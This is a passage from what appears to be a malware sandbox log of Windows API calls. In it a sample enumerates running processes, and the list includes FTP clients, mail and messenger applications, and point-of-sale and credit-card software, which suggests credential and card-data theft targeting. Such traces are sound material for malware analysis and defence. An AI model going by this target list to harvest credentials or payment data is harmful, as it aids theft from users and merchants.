pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.243] lstrlenW (lpString="svchost.exe") returned 11 [0177.243] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.243] lstrlenW (lpString="svchost.exe") returned 11 [0177.243] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0177.244] lstrlenW (lpString="audiodg.exe") returned 11 [0177.244] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0177.244] lstrlenW (lpString="sihost.exe") returned 10 [0177.244] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.245] lstrlenW (lpString="svchost.exe") returned 11 [0177.245] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0177.245] lstrlenW (lpString="taskhostw.exe") returned 13 [0177.245] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0177.245] lstrlenW (lpString="explorer.exe") returned 12 [0177.246] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0177.246] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0177.246] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0177.246] lstrlenW (lpString="Memory Compression") returned 18 [0177.246] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0177.247] lstrlenW (lpString="SearchUI.exe") returned 12 [0177.247] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0177.247] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0177.247] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0177.248] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0177.248] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0177.248] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0177.248] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0177.249] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0177.249] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0177.249] lstrlenW (lpString="migration dying locations.exe") returned 29 [0177.249] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0177.249] lstrlenW (lpString="college-advance.exe") returned 19 [0177.249] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0177.250] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0177.250] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0177.250] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0177.250] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0177.251] lstrlenW (lpString="metallic.exe") returned 12 [0177.251] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0177.251] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0177.251] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0177.251] lstrlenW (lpString="brown parade bases.exe") returned 22 [0177.252] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0177.252] lstrlenW (lpString="specified wales.exe") returned 19 [0177.252] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0177.252] lstrlenW (lpString="inspiration.exe") returned 15 [0177.252] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0177.253] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0177.253] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0177.253] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0177.253] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0177.254] lstrlenW (lpString="classbuck.exe") returned 13 [0177.254] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0177.254] lstrlenW (lpString="x-deutschland.exe") returned 17 [0177.254] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0177.254] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0177.255] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0177.255] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0177.255] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0177.255] lstrlenW (lpString="lawsuit.exe") returned 11 [0177.255] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0177.256] lstrlenW (lpString="3dftp.exe") returned 9 [0177.256] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0177.256] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0177.256] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0177.257] lstrlenW (lpString="alftp.exe") returned 9 [0177.257] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0177.257] lstrlenW (lpString="barca.exe") returned 9 [0177.257] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0177.257] lstrlenW (lpString="bitkinex.exe") returned 12 [0177.258] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0177.258] lstrlenW (lpString="coreftp.exe") returned 11 [0177.258] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0177.259] lstrlenW (lpString="far.exe") returned 7 [0177.259] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0177.260] lstrlenW (lpString="filezilla.exe") returned 13 [0177.260] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0177.260] lstrlenW (lpString="flashfxp.exe") returned 12 [0177.260] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0177.261] lstrlenW (lpString="fling.exe") returned 9 [0177.261] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0177.262] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0177.262] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0177.262] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0177.262] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0177.263] lstrlenW (lpString="icq.exe") returned 7 [0177.263] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0177.264] lstrlenW (lpString="leechftp.exe") returned 12 [0177.264] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0177.264] lstrlenW (lpString="ncftp.exe") returned 9 [0177.264] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0177.265] lstrlenW (lpString="notepad.exe") returned 11 [0177.265] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0177.266] lstrlenW (lpString="operamail.exe") returned 13 [0177.266] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0177.266] lstrlenW (lpString="pidgin.exe") returned 10 [0177.267] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0177.267] lstrlenW (lpString="scriptftp.exe") returned 13 [0177.267] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0177.268] lstrlenW (lpString="skype.exe") returned 9 [0177.268] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0177.269] lstrlenW (lpString="smartftp.exe") returned 12 [0177.269] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0177.269] lstrlenW (lpString="thunderbird.exe") returned 15 [0177.269] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0177.270] lstrlenW (lpString="totalcmd.exe") returned 12 [0177.270] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0177.270] lstrlenW (lpString="trillian.exe") returned 12 [0177.271] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0177.271] lstrlenW (lpString="webdrive.exe") returned 12 [0177.271] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0177.272] lstrlenW (lpString="whatsapp.exe") returned 12 [0177.272] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0177.272] lstrlenW (lpString="winscp.exe") returned 10 [0177.272] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0177.273] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0177.273] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0177.274] lstrlenW (lpString="active-charge.exe") returned 17 [0177.274] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0177.274] lstrlenW (lpString="accupos.exe") returned 11 [0177.274] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0177.275] lstrlenW (lpString="afr38.exe") returned 9 [0177.275] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0177.276] lstrlenW (lpString="aldelo.exe") returned 10 [0177.276] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0177.276] lstrlenW (lpString="ccv_server.exe") returned 14 [0177.276] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0177.277] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0177.277] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0177.277] lstrlenW (lpString="creditservice.exe") returned 17 [0177.277] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0177.278] lstrlenW (lpString="edcsvr.exe") returned 10 [0177.278] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0177.279] lstrlenW (lpString="fpos.exe") returned 8 [0177.279] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0177.279] lstrlenW (lpString="isspos.exe") returned 10 [0177.279] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0177.280] lstrlenW (lpString="mxslipstream.exe") returned 16 [0177.280] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0177.280] lstrlenW (lpString="omnipos.exe") returned 11 [0177.281] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) 